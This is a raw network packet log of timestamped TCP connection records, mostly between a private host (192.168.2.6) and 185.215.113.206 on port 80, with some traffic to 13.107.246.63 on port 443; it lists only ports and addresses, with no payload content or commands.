Nov 28, 2024 00:19:43.823499918 CET	49842	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:43.823506117 CET	443	49842	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:43.825782061 CET	49859	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:43.825834990 CET	443	49859	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:43.825982094 CET	49859	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:43.829838037 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.829890966 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.829921961 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.829955101 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.830286026 CET	49859	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:43.830303907 CET	443	49859	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:43.830413103 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.830446959 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.830683947 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.830724955 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.830786943 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.830818892 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.831734896 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.831792116 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.831825972 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.831860065 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.832895994 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.832937002 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.832961082 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.833000898 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.833990097 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.834028006 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.834151030 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.834186077 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.835230112 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.835321903 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.835335016 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.835370064 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.836261034 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.836375952 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.836378098 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.836416006 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.837419987 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.837467909 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.837750912 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.837795973 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.838579893 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.838637114 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.838669062 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.838702917 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.839713097 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.839754105 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.839984894 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.840039015 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.840789080 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.840847015 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.840987921 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.841026068 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.841922045 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.841980934 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.842046022 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.842080116 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.843084097 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.843101978 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.843168020 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.843168020 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.844312906 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.844357967 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.844477892 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.844511032 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.845356941 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.845396996 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.845523119 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.845556974 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.846525908 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.846539021 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.846585989 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.847590923 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.847625971 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.847718000 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.847749949 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.848687887 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.848751068 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.848786116 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.848818064 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.849900961 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.849947929 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.849956036 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.850085974 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.851042032 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.851109028 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.851146936 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.852111101 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.852221966 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.852226973 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.852289915 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.853266001 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.853370905 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.853393078 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.853404045 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.854373932 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.854490995 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.854494095 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.854532957 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.855562925 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.855631113 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.855753899 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.855788946 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.856657028 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.856698036 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.856699944 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.856731892 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.857806921 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.857887030 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.857887030 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.857928038 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.858712912 CET	443	49843	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:43.858916998 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.858958960 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.859028101 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.859528065 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.860061884 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.860105038 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.860137939 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.860169888 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.860877991 CET	49843	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:43.860894918 CET	443	49843	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:43.861193895 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.861246109 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.861305952 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.861341000 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.861443996 CET	49843	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:43.861449957 CET	443	49843	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:43.862302065 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.862319946 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.862346888 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.862380981 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.899341106 CET	443	49841	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:43.899405956 CET	443	49841	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:43.899452925 CET	49841	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:43.899760962 CET	49841	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:43.899782896 CET	443	49841	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:43.899794102 CET	49841	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:43.899800062 CET	443	49841	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:43.902501106 CET	49860	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:43.902525902 CET	443	49860	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:43.902584076 CET	49860	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:43.902715921 CET	49860	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:43.902725935 CET	443	49860	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:43.915594101 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.915666103 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.915788889 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.915904045 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.916235924 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.916286945 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.916409969 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.916445017 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.917325974 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.917401075 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.917468071 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.917510986 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.918422937 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.918575048 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.918766022 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.918827057 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.918848038 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.918879032 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.919893026 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.919950962 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.920007944 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.920043945 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.921066046 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.921129942 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.921165943 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.921248913 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.922188997 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.922297001 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.922347069 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.923321009 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.923397064 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.923444033 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.923481941 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.924439907 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.924556971 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.924668074 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.925604105 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.925663948 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.925697088 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.925749063 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.926690102 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.926728964 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.926902056 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.926940918 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.927838087 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.927892923 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.927942991 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.927978039 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.928958893 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.929066896 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.929080963 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.929097891 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.930118084 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.930170059 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.930176973 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.930222988 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.931299925 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.931370020 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.931469917 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.931535006 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.932391882 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.932440996 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.932552099 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.932849884 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.933537960 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.933654070 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.933676958 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.933712006 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.934776068 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.934787989 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.934825897 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.935797930 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.935808897 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.935842991 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.935862064 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.937067986 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.937078953 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.937118053 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.938060999 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.938071966 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.938112974 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.939132929 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.939172983 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.939253092 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.939287901 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.940376997 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.940438032 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.940454006 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.940485954 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.941482067 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.941536903 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.941545010 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.941582918 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.942706108 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.942759037 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.942919970 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.942964077 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.943696022 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.943742990 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.943846941 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.944006920 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:43.944809914 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:43.944847107 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.040828943 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.040895939 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.040905952 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.040951014 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.041394949 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.041476965 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.041531086 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.042567968 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.042608976 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.042723894 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.042946100 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.043652058 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.043816090 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.043865919 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.044778109 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.044856071 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.044893980 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.044945955 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.045892000 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.045938969 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.045955896 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.045986891 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.047454119 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.047530890 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.047660112 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.047699928 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.048218966 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.048230886 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.048280001 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.049436092 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.049477100 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.049546957 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.049587011 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.051065922 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.051105976 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.051146030 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.051188946 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.051800966 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.051811934 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.051841974 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.051862001 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.052695036 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.052753925 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.052829027 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.052979946 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.053867102 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.053941011 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.053972960 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.054008007 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.054940939 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.055008888 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.055108070 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.055288076 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.056070089 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.056154013 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.056261063 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.056303978 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.057238102 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.057301998 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.057303905 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.057332993 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.058376074 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.058418036 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.058577061 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.058577061 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.059504032 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.059592009 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.059644938 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.060672045 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.060766935 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.060813904 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.061749935 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.061819077 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.061849117 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.061883926 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.062935114 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.063004017 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.063009024 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.063043118 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.064033985 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.064100027 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.064126015 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.064146042 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.065156937 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.065226078 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.065284014 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.065324068 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.066304922 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.066360950 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.066371918 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.066400051 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:44.067421913 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:44.067488909 CET	49794	80	192.168.2.6	185.215.113.206
